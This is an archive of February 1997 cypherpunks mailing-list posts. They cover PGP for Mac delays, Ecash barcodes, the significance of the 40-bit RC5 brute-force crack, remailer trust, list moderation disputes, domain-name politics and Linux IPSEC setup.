>available AppleScripts are buggy and awkward.

I agree completely about the need.  PGP, Inc., does claim to be working on
a Mac version, but their promises are beginning to sound a little hollow.
They now promise a "1997 release of PGPmail for the Macintosh" and "more
specific information on when PGPmail will be available on the Macintosh"
"during the second half of February."

I bought ViaCrypt PGP for Macintosh 2.7.1 in October.  (2.7.1 is nearly
identical to the free 2.6.2, with the same abysmal user interface that
earned a rare one-star rating from Macworld
<http://www.macworld.com/pages/star/starratings.Utilities.html>, but 2.7.1
is licensed for commercial use.)  At the time, PGP Inc. promised a free
upgrade to version 4.0 for Mac, which was already considerably overdue.
(According to <http://www.pgp.com/products/viacrypt-tbr.cgi>, 4.0 is still
"To Be Released Soon.")

When PGP, Inc., announced PGPmail 4.5 in December
<http://www.pgp.com/newsroom/prel8.cgi>, they wrote "PGPmail 4.5 ...
supports ... Mac OS."  I called and asked if this implied they were
bypassing 4.0 for Mac and when 4.5 would be available for Mac.  The support
person didn't know, said she'd find out and call me back, and never called
back.

A few days ago, I received this via US mail:

>PRETTY GOOD PRIVACY, INC.
>
>Wednesday, January 22, 1997
>
>Dear Valued Customer:
>
>Thank you for being patient regarding your order for an updated version
>of PGP for the Macintosh. The last year has involved many changes for
>our company. As a customer, we know the changes have caused delays in
>the product you expected sooner. I would like to explain recent events
>and extend a special offer in appreciation of your business.
>
>First, an explanation of recent events. As you may already know, Pretty
>Good Privacy, Inc. purchased Lemcom Systems and its wholly owned
>subsidiary, ViaCrypt, last year. ViaCrypt had previously announced
>ViaCrypt PGP 4.0 for the Macintosh. Pretty Good Privacy is fully
>committed to the Macintosh platform, and we have plans to release a
>rich set of products for the Macintosh in 1997. We have already doubled
>the size of our Macintosh group with engineers who have extensive Apple
>experience.
>
>We are currently working on a new version of PGPmail designed
>specifically for the Macintosh, adding new features and revising the
>graphical user interface, making it significantly easier to use.
>
>After much serious consideration, we decided to dedicate the Macintosh
>PGPmail team to deliver this new product as quickly as possible, and to
>cancel the port of ViaCrypt PGP 4.0 to the Macintosh. We apologize for
>any inconvenience this delay may have caused, but we believe that you
>will agree that the new version of PGPmail designed specifically for
>the Macintosh will meet your needs better than a port from the Windows
>platform.
>
>In recognition of the delay, we would like to offer you the forthcoming
>1997 release of PGPmail for the Macintosh free of charge. We hope you
>will take advantage of this special offer. When ordering, please
>indicate the following code #0811 to process your order, so please
>retain this letter. Please check the PGPmail section of our website at
>http://www.pgp.com/products/PGPmail-faq.cgi during the second half of
>February with more specific information on when PGPmail will be
>available on the Macintosh.
>
>Please accept our sincere apologies for the delay. If you have any
>questions, please contact us at fyi@pgp.com.
>
>Sincerely,
>
>Tom Steding
>President & CEO
>Pretty Good Privacy, Inc.

We shall see.

Meanwhile, a beta version of "Pretty Safe Mail"
<http://www.highware.com/highware/PSM/safemail.htm> is available from
Highware in Belgium.  It's PGP compatible, and its user interface is a
great leap forward from any Mac PGP front end I've seen.  But, it still has
some deficiencies, it's very slow (25 seconds to sign this message on a 25
MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently
discussed on a couple of these lists) its source code hasn't been published
or externally audited.

 - Tim

-----BEGIN PGP SIGNATURE-----
Version: 2.7.1

iQCVAwUBMvtiAi62DQeAyFc9AQG5tAQAigsa5/Ygb9PqHHLA/QD+HSpBWFRpRjGW
bWfg8Zq0PCi5AyMPAwYagxYo5/m4Sm3OA6u2urq5IDzxVaYOGFIgKGRxaFgWivFN
dYfwFRR9WO7NkoigKsOc3ZHAK2UPPWYsFkjbVkbINyke5NmFkwEI0/oPguoMWdXH
WMpnOGDut5Q=
=kWrX
-----END PGP SIGNATURE-----

Timothy N. Hill <tnh@acm.org>                "We all love to instruct,
Wellesley, Massachusetts                      though we can teach only
<http://www.ma.ultranet.com/~tnh/>         what is not worth knowing."
PGP F058F75D 99C5122F 21C5BEF5 620C1D3C             - Elizabeth Bennet







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Briceno <marc@digicash.com>
Date: Fri, 7 Feb 1997 13:11:01 -0800 (PST)
To: Jeremey Barrett <dev-lucre@c2.net
Subject: Re: World's first Ecash note
Message-ID: <199702072111.NAA00898@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 2/6/97 -0800, Jeremey Barrett wrote:
>The world's first Ecash note has been printed!
>
>A USD 0.01 note made out to anyone can be found at:
>
>	http://www.veriweb.com/people/jeremey/ecash/1_cent.html
>
>The data portion of the note is a PDF417 2-D barcode, containing a
>standard ecash payment of 1 US cent. 

Congratulations to Jeremey for printing the world's first Ecash note! I
hereby declare Jeremey the winner of the "encoding Ecash as 2D-bar code"
contest. The money will be awarded this Saturday. Now, we need decoding
software. :-)

[There is a $100 reward (out of my own pocket) for the first freeware
decoder. Source required. This is a "just for fun" contest. I know that
$100 won't pay for the time spent on the project.]



-- Marc Briceno <mailto:marc@digicash.com>
   Ecash(tm) Electronic Cash Evangelist/Developers Support
   <http://www.digicash.com/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@ziplink.net>
Date: Fri, 7 Feb 1997 11:41:21 -0800 (PST)
To: infowar@infowar.com
Subject: Re: 40-bit RC5 crack meaningless?
Message-ID: <199702071941.LAA29283@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: 40-bit RC5 crack meaningless??
From: Peter Trei <ptrei@acm.org>

> Subject:       40-bit RC5 crack meaningless??

Mr. Strassman allegedly sent the quoted letter to Winn Schwartaus'
"infowar" mailing list, and it was then posted by persons unknown to
the sci.crypt usenet group. Identity on the internet being the fluid
thing it is, I apologize in advance if he never sent this letter, or
if it has been modified before it reached me.

The quoted letter attempts to minimize the importance of Ian
Goldberg's recent bruteforce decryption of export-strength RC5
encryption.

In my opinon, as described below, Mr. Strassman's arguments are
without merit when applied to the situation the RSA challenges are
intended to model - the security of encrypted Internet protocols. As
such, I feel that his letter may lull some people into an unjustified
and dangerous sense of security.

> >Date: Thu, 30 Jan 1997 20:10:36 -0500
> >From: "Paul A. Strassmann" <paul@strassmann.com>
> >Subject: Further to Goldberg's Cracking Accomplishments
> >Gentlemen:
> >
> >As I suspected (see earlier private comment), the
> >highly promoted RSA cracking contest offered
> >a number of clues that ordinarly would not be
> >volunteered by  info-terrorists or info-criminals to
> >IW Defense teams.

> >These clues made the cracking significantly easier,
> >because it made it possible to eliminate an enormous
> >range of possible searches.

What's the target, and who is doing the encrypting?  These "clues"
_are_ available to adversaries engaged in industrial and economic
espionage; a important part of a covert infowar.

It's certainly true that "info-terrorists or info-criminals" will not
be so easy to tap, but the absence of these 'clues' is a red
herring. They will be secure because they will use good encryption,
which is not what US firms can export today.

The challenges are realistic models of encrypted Internet protocols,
for example IPSEC with ESP data encryption. As such, they accurately
display the vulnerability of data on the Internet to espionage.

> >The following was extracted verbatim from the
> ><The RSA Data Security Secret-Key Challenge>
> >posted on <http://www.rsa.com/rsalabs/97challenge/>:
> >
> >Clue #1:
> >
> >  " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
> >will use 12-round RC5 with a 32-bit word size. "
> >
> >Clue #2:
> >
> >  " ...The first RC5 contest will consist of some unknown plaintext
> >encrypted using a 40-bit key;."

Clues #1 and #2 are absolutely reasonable - in an open standard, it is
absolutely normal to know the cipher being used, it's mode, and the
length of the key. See the SSL specification, or IPSEC's RFCs.

> >Clue #3: (a  giveway!)
> >
> > " ... For each contest, the unknown plaintext message is preceded by three
> >   known blocks of text that contain the 24-character phrase "The
> >   unknown message is:  .....".

To those who are unfamiliar with Internet protocols, this would appear
to give the cryptanalyst an unrealistic head-start. This is not the
case.  Most Internet protocols have highly stereotyped packet headers;
for example, _every_ normal return packet from a web server starts out
with the string "HTTP/1.0" (servers using something other than version
1.0 are rare as hen's teeth at the moment).  When you consider that
such a packet may contain a firm's confidential earnings predictions
or trade secrets (hopefully encrypted), the economic importance of
such data is clear.

Similar stereotyped headers exist for many other protocols, such as
NNTP and SMTP. As such, a known-plaintext attack, as modeled by
RSADSI's symmetric key challange, is quite realistic.

Even if a full known plaintext for the first block is unavailable, a
knowlegable cryptanalyst can usually make some very reasonable
assumptions which will greatly speed his or her task. (I'm assuming
DES here - which has a 64 bit block, but the argument extends easily
to other block sizes). For example, if we know that the data contains
only printable ASCII characters (true for the headers of most Internet
protocols), then for a 64 bit block, there are 8 bits which we _know_
will be zero in the decrypted block. This lets us dispose of 255 out
of every 256 incorrect trial decryptions immediately, and we will have
to perform more extensive tests on less then 0.4% of candidate keys.

Similar intelligent guesses can be made about the headers of other
protocols, for example IPSEC-secured IPv6 packet headers in tunneling
mode.

Some people have noted that the challenges include the IV, or
'initialization vector' used in CBC (cipher-block-chaining) modes of
encryption, and argue that this would not be available to an
adversary. Once again, this assertion falls when examined in the light
of actual usage.

The purpose of an IV is to make dictionary and replay attacks more
difficult. It is not intended to prevent brute force attacks, and so
is _normally_ included in the clear in communications protocols (for
example, see RFC 1827 for it's clear transmission in IPSEC). If it
is not included, it is effectively part of the keying material, and
thus adds it's bits to the strength of the key. As such, its value
would have to be transmitted and protected as carefully as the rest of
the key.  

> >In summary: The claim of exportable cryptography being totally 
> >insecure, because it can be cracked in 3.5 hours is not 
> >realistic. The three clues announced in the contest 
> >would not apply under infowar conditions.

As I have shown above, Mr. Strassman's optimism is misplaced in the
case of actual, fielded use of encryption on the Internet. It may
apply to some classified systems, but they don't use exportable
cryptography anyway. A covert inforwar against commercial and private
targets is _quite_ plausible.

> >What other clues may have been provided to Goldberg
> >to  support private agendas and gain shrill headlines
> >is also a matter of speculation, but I rest my case.

What exactly is he hinting at here?

> >I certainly cannot assert that a 40 bit key cannot be decyphered.

Of course he can't. 40 bits of RC4 encryption (as used in the
exportable version of Netscape) was brute-forced not once, but three
separate times in the fall of 1995, the fastest effort taking about 28
hours. Today it could be done much more quickly, as Ian demonstrated
with RC5 (an algorithm of similar complexity).

> >However, I do not think that the RSA unqualified claims
> >offer full and appropriate disclosure.

I disagree. The RSA challenges accurately model the use of encryption
on the unclassified Internet. Ian's decryption of 40-bit RC5 is of
considerable importance in demonstrating the insecurity of American
citizens caused by Administration efforts to compromise exportable
encryption.

In my opinon, Mr. Strassman's assertions as to the strength of
exportable encryption are too dangerous to be left unchallenged.

> >Paul A. Strassmann
> >55 Talmadge Hill Road, New Canaan, CT. 06840
> >Telephone: 203-966-5505; Fax: 203-966-5506
> >INTERNET:                  paul@strassmann.com
> >WorldwideWeb:           http://www.strassmann.com

Peter Trei
ptrei@acm.org

Disclaimer: I am speaking as a knowlegable private citizen, not as
a representative of my employer. This posting represents my opinon
only.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Fri, 7 Feb 1997 11:56:26 -0800 (PST)
To: Charley Musselman <c.musselman@internetmci.com>
Subject: Re: anonymous remailers
Message-ID: <199702071956.LAA29451@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Charley Musselman writes:
>  Does anyone know the answer?  Specifically, how can we choose
>  a trusted remailer?

The answer is to run your own remailer.  Make sure your chain includes your  
remailer at least once.  If you can't trust yourself, who can you trust?


andrew





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 7 Feb 1997 13:20:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072120.NAA01090@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


SANDY SANDFORT sez:

> On Fri, 7 Feb 1997, Mike Duvos wrote:

> > ...Messages apparently do not get moderated in the order in
> > which they are received...

> All messages are filtered and posted in the order in which I
> receive them.

That's all very nice, but I should point out that I have not yet
seen my message to which you are responding on the filtered list. 

Others mileage may vary. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 7 Feb 1997 13:19:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072119.NAA01071@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In a previous message, I wrote:

> That's all very nice, but I should point out that I have not yet
> seen my message to which you are responding on the filtered list. 

It just trickled into my mailbox.  I take that back.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Feb 1997 13:22:41 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072122.NAA01120@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>(It is true that Vulis uses the phrase "Limey faggots," in reference to
>beer-serving habits, but he does not directly insult any list members with
>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
>be blocked from their usual characterizations of Congresscritters and NSA
>stooges.)

TCM defending Vulis, I think I've died and am in some strange
dreamworld. hehehehe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 7 Feb 1997 13:21:00 -0800 (PST)
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: Metzger, Denninger square off
Message-ID: <199702072121.NAA01093@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Damaged Justice writes:
> 
> [Forwarded from Wired news. Let's cut to the chase: Which side is in the
> right? Who can tell me, in plain and simple language, who is fighting for
> individual freedom and property rights, and who is not?]

>    [LINK] Foes Vow to Take Domain Name Fight to FCC
>    by Gene Koprowski
>    
>    5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
>    Committee (IAHC) to expand the number of Internet top-level domain
>    names is stirring opposition among alternative domain name providers.

[..]

>    Denninger said he received a leaked copy of the IACH proposal earlier
>    this week, and he and his colleagues are considering bringing their
>    protests to the FCC. "We're given open access under the telecom law,"
>    says Denninger. "We might talk to the FCC or the Clinton
>    administration about this." Barring that, Denninger will lobby
>    Internet service providers around the country, asking them not to
>    recognize the new GTLDs. "There is no reason to support it. We will do
>    everything in our power to convince ISPs not to go along," he says.



Karl's worried that the new GLTD system might mean that some sites
will be unreachable, so he's going to lobby ISPs to not accept the
new GLDTs to ensure that sites are unreachable?

This reminds me of the Vietnam era "We had to destroy the village in
order to save it."

If I didn't already think that Karl was an idiot, I'd sure think so after
reading this.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Feb 1997 13:58:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: automated moderation system
Message-ID: <199702072158.NAA01634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



here's an idea for a simple "moderation" system with no
one-moderator bottleneck/choke point. I'm trying to come
up with a constructive solution with cyberspatial spirit.
please send me email if you would be willing to try this system. 
flames ignored. if there is enough support I may be able to
persuade a friend to write the code to do this.

a new mailing list is set up, one that gets posts from a
noisy mailing list. it filters the mail according to user
preferences, and sends it out to its own subscribers. the
filtering scheme is as follows:

a web site is set up that allows people to express their
own preferences as to who they wish to listen to in particular,
and who they wish to killfile, based on email address. 
first, they hit the web site
and have it send them a secret password to their email address.
then they use that password to edit their "pass" and "zap"
lists. (the password is for authentication)

now, the mailing list works as follows. people always receive
posts from people they put on their "pass" lists. mail from
entities on their "zap" lists is always trashed.

why are the lists kept on the server? the usefulness of this
scheme is that now you have information about all entities,
the number of votes to "pass" each entity, and the number of
votes to "zap" each entity. now lets say that the system is
considering sending me mail from someone that is neither on
my pass or zap lists. I have no personal info on it, but the
system could use the votes in some algorithmic way to decide
whether to send it to me or not. various experiments could
be tried to come up with a good scheme.

 my preference is at
the moment something like this: every person indicates how
much mail they wish to recieve from the list, and how much
of a delay is acceptable. the system uses this information
and the "pass/zap" ratio (or difference) to send out the
"highest rated" messages in a given time window. during
low list traffic, the messages that pass through would be
ranked lower. or, the system could have a ranking threshold
set by each individual user below which it will never pass 
the email.

my feeling is to keep these lists public, although the scheme
would allow a system that kept them private. of course I will
be flamed for this.

the system of course is essentially a reputation system, something
everyone here talks about but nobody really seems to know what
one is or how to set one up.

anyway, I hope to hear from anyone with comments. if you might
be able to support a cgi web site for the idea, please let me
know. technically the system is pretty straightforward. my 
experience with these systems is that the great difficulty is
getting people to try them, the "critical mass" problem.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 7 Feb 1997 11:41:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Metzger, Denninger square off
Message-ID: <199702071941.LAA29268@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




[Forwarded from Wired news. Let's cut to the chase: Which side is in the
right? Who can tell me, in plain and simple language, who is fighting for
individual freedom and property rights, and who is not?]

   [LINK] Foes Vow to Take Domain Name Fight to FCC
   by Gene Koprowski
   
   5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
   Committee (IAHC) to expand the number of Internet top-level domain
   names is stirring opposition among alternative domain name providers.
   
   Opponents call the plan "unenforceable," and are considering filing a
   protest with the Federal Communications Commission, indicating that
   the IAHC policy might violate the 1996 Telecommunication Act's open
   access provisions.
   
   "We didn't want to have to get my guns, rifles, and bombs out - but
   now we have to," Carl Denninger, president of Macro Computer
   Solutions, Chicago, a long-time opponent of IACH, tells Wired News.
   "If someone doesn't point a revolver at them, they will be able to do
   whatever they want to do."
   
   On Tuesday, the intergovernmental body issued a proposal to expand the
   number of generic top-level domains (GTLDs), adding seven new listings
   in addition to the existing ones, which include the familiar .com,
   .net, and .org. The new GTLDs would include .firm, for businesses;
   .store, for retail businesses; .web, for Web-related companies; .arts,
   for cultural organizations; .rec, for recreation and entertainment
   facilities; .info, for information services; and .nom, for
   individuals.
   
   Perry Metzger, a member of the IAHC board, said that the organization,
   whose members include the International Telecommunications Union and
   the World Intellectual Property Organization, will likely formally
   approval the proposal very quickly. "This is not a done deal. The
   paperwork needs to be signed. An association to handle this has to be
   set up," says Metzger. "But it will go forward very soon. I'm sure
   plenty of people will not be in favor of it. But the question is: What
   can they do to stop it?"
   
   The answer is plenty, says Denninger. He and others, like Eugene
   Kashpureff of Alternic, have long fought the IAHC's attempts to expand
   the number of GTLDs. They think the creation of these new categories
   may lead to trademark infringement and other intellectual property
   problems. They also think the new domain names will "fragment" the
   Internet, leaving some users unable to communicate with others, if a
   server does not recognize the name request.
   
   Denninger said he received a leaked copy of the IACH proposal earlier
   this week, and he and his colleagues are considering bringing their
   protests to the FCC. "We're given open access under the telecom law,"
   says Denninger. "We might talk to the FCC or the Clinton
   administration about this." Barring that, Denninger will lobby
   Internet service providers around the country, asking them not to
   recognize the new GTLDs. "There is no reason to support it. We will do
   everything in our power to convince ISPs not to go along," he says.
   
   As part of that, he is launching a national public relations and
   lobbying campaign to alert the Internet community about the IACH
   proposal. [LINK]
   
        Copyright ) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 13:58:12 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072158.NAA01633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:59 PM -0800 2/7/97, Vladimir Z. Nuri wrote:
>>
>>(It is true that Vulis uses the phrase "Limey faggots," in reference to
>>beer-serving habits, but he does not directly insult any list members with
>>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
>>be blocked from their usual characterizations of Congresscritters and NSA
>>stooges.)
>
>TCM defending Vulis, I think I've died and am in some strange
>dreamworld. hehehehe

I'm arguing against two things:

1. The basic notion of centralized moderation, with the name "Cypherpunks"
now closely associated with a Big Brotherish, "we know what's better for
you than you do" sort of censorship.

2. The apparently careless and inconsistent way Sandy is censoring posts.
As others have also noted, non-flamish posts are being sent to the Flames
list. A censor who will not take the time to read the list traffic on a
continuing basis, e.g., by spending the several hours a day on it that many
of us spend (or used to spend), is not suited to be a censor. I suggested
at the time of his self-appointment to the role of Censor that Sandy would
not devote the needed time to this task. (Not that this makes censorship
OK, mind you.)

I'm not defending Vulis per se, and I continue to think Vulis is a twit.
But one of the goals Vulis apparently set out to accomplish (just as you
did a couple of years ago, Larry) was to force the list to start censoring
itself, even to force the list to shut down.

It seems likely that Vulis is quite happy with the outcome here.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 11:56:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Project 25 Radio
Message-ID: <199702071956.LAA29470@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The National Communications Systems published in the
Federal Register of February 6, a notice of FTR1024 
covering Land Mobile Radio, Project 25. The recommentation
specifies encryption: DES (Type 3) and Type 1 for classified use. 
The specifications are based on seven public TIA documents 
and one classified NSA document.

   "This recommendation is intended to facilitate interoperability 
   among telecommunication facilities and systems of the Federal 
   Government."

The official document is available in PDF format at:

   http://members.aol.com/Project25/1024.pdf

We've prepared a hypertext version:

   http://jya.com/ftr1024.htm








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 7 Feb 1997 16:57:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IEEE Communications
Message-ID: <199702080057.QAA05227@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>A friend called this evening to let me know the February issue is dedicated
>to electronic cash and its implications.  I'm no longer an IEEE member.  If
>any of the various list members care to excerpt and comment on some of the
>more interesting portions, I'm sure it would be appreciated.
>
>--Steve

Correction: It's the February issue of IEE Spectrum, subtitled "Technology
and the Electronic Economy."

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 7 Feb 1997 16:56:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crack a Mac and win a fortune.
Message-ID: <199702080056.QAA05123@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A Swedish company, http://www.infinit.se/hacke/crack.html
is offering a 10,000 Swedish Kronor reward to the first
person to successfully attack (change information on) their
web server. See their press release at
   http://www.infinit.se/hacke/release.html
for details and the URL of the system to hack.

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodney Thayer <rodney@sabletech.com>
Date: Fri, 7 Feb 1997 17:10:53 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: is there a FAQ
Message-ID: <199702080110.RAA05600@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I am trying to run IPSEC on Linux and I have questions.

Before I ask, is there an FAQ?


               Rodney Thayer <rodney@sabletech.com>       +1 617 332 7292
               Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA
               Fax: +1 617 332 7970           http://www.shore.net/~sable
                           "Developers of communications software"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <Ed.Falk@Eng.Sun.COM>
Date: Fri, 7 Feb 1997 16:59:04 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 keysigning session
Message-ID: <199702080059.QAA05278@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

We have enough people who want to have a PGP keysigning session at
tommorrow's meeting to make it worthwhile.  We'll probably be doing
it at 17:00 or thereabouts.

If you want to join in, let me know ASAP.  Include your key or a pointer
to where I can download it.

	-ed falk

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=rWsE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@far.toad.com>
Date: Fri, 7 Feb 1997 17:16:06 -0800 (PST)
To: rodney@sabletech.com
Subject: Re: is there a FAQ
Message-ID: <199702080116.RAA05754@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  Currently the only documentation for the Linux IPSEC is the INSTALL
file.  There is no FAQ.
  If someone from a free country (not the one controled by the USG
gang) is interested in writing some doc or a FAQ that would be great!
  I am working on getting 3DES working (it's in the ipsec-0.4 code
base, but no doc on how to configure it!) now and could use more
documentation my self.

		||ugh Daniel
		Linux FreeSWAN Project
		hugh@toad.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Fri, 7 Feb 1997 08:39:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702071639.IAA26432@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Over on sci.crypt, Paul C. Kocker <pck@netcom.com> gave a clear and
confident response to a query about the statistical difference between a
brute force attack on a known Russian or English text, versus a similar
attack on cyphertext with a known-plaintext sample (Strassmann's tell-tale
Clue #3.)

Said Kocher:

The difference is negligable.  With English text encrypted under
a 64-bit block cipher, you know that the most significant
bit of each of the 8 bytes in the block should be zero.  For a
wrong key, there is a 255/256 probability that at least one of
these bits will be nonzero, allowing immediate rejection of
the key.  Keys which do produce all zero bits get tested on
additional blocks until the key is either deemed correct or
rejected.  The extra overhead per wrong key is the sum from
i=1 to infinity of i*(1/256^i), or under 0.4 percent.

In practice, the slowdown is actually a couple of percent, since
it complicates the skip-the-last-Fiestel-round optimization. Also,
the 1/256 case requires running extra code, which can fill the
microprocessor's cache with code which isn't part of
the main loop, slowing things down a bit when the computer
goes back to the main search.

Cheers,
Paul

____________________________________      http://www.cryptography.com
Paul Kocher (pck@netcom.com)       |     Voicemail: +1-(415)-354-8004
Crypto consultant                  |           FAX: +1-(415)-321-1483







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Fri, 7 Feb 1997 19:55:55 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: NETLINK_IPSEC
Message-ID: <199702080355.TAA08277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

When running 'make modules', NETLINK_IPSEC and IPFWD_NOTTLDEC are
undeclared. I added NETLINK_IPSEC to include/net/netlink.h,
but IPFWD_NOTTLDEC is not to be found. I'm running kernel 2.0.0,
the INSTALL.txt file in the ipsec distribution mentions 2.0.24,
is that the minimum kernel to run on?

Thanks.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 7 Feb 1997 16:58:37 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: automated moderation system
Message-ID: <199702080058.QAA05252@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:15 PM 2/7/97 -0800, you wrote:

[... re: a auto moderations system...]
>now, the mailing list works as follows. people always receive
>posts from people they put on their "pass" lists. mail from
>entities on their "zap" lists is always trashed.
This much, you can do on your own.  Just filter "zap" messages to
/dev/null or somesuch.  (But I see its purpose; keep reading.)

[... using other's pass/zap lists as reputation markers...]
It's a good idea in theory, but would put a lot of load on the server.
For every message * every list subscriber, it has to _at_least_
look up the pass/zap criteria, and possibly do some number-
crunching based on the whole database of pass/zap lists, and keep
track of how long each message has been sitting in the queue
and its ratings by other people.

Also, Mallet could skew the reputations by subscribing with a dozen other
addresses (which M. created just to get the extra "votes"), decide
to have all of them "zap" Alice, and then Bob might never see
Alice's intelligent and thoughtful messages.  (Presumably, Mallet
keeps the bogus addresses subscribed, just dumping all mail into the
bitbucket; any user who leaves the list shouldn't have any weight
in the calculations any longer.)

This also doesn't even address anonymous remailers; Chuck and Dave
might both use the same remailer, even though Chuck only posts
good, meaningful messages (in whatever context) and Dave only
posts flaming ASCII art :)

dave (who doesn't post flaming ascii art, honest)
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 7 Feb 1997 16:56:58 -0800 (PST)
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: Metzger, Denninger square off
Message-ID: <199702080056.QAA05207@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:24 PM 2/7/97 -0500, you wrote:

>[Forwarded from Wired news. Let's cut to the chase: Which side is in the
>right? Who can tell me, in plain and simple language, who is fighting for
>individual freedom and property rights, and who is not?]
Hee... I think they're both just after money.

>   5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
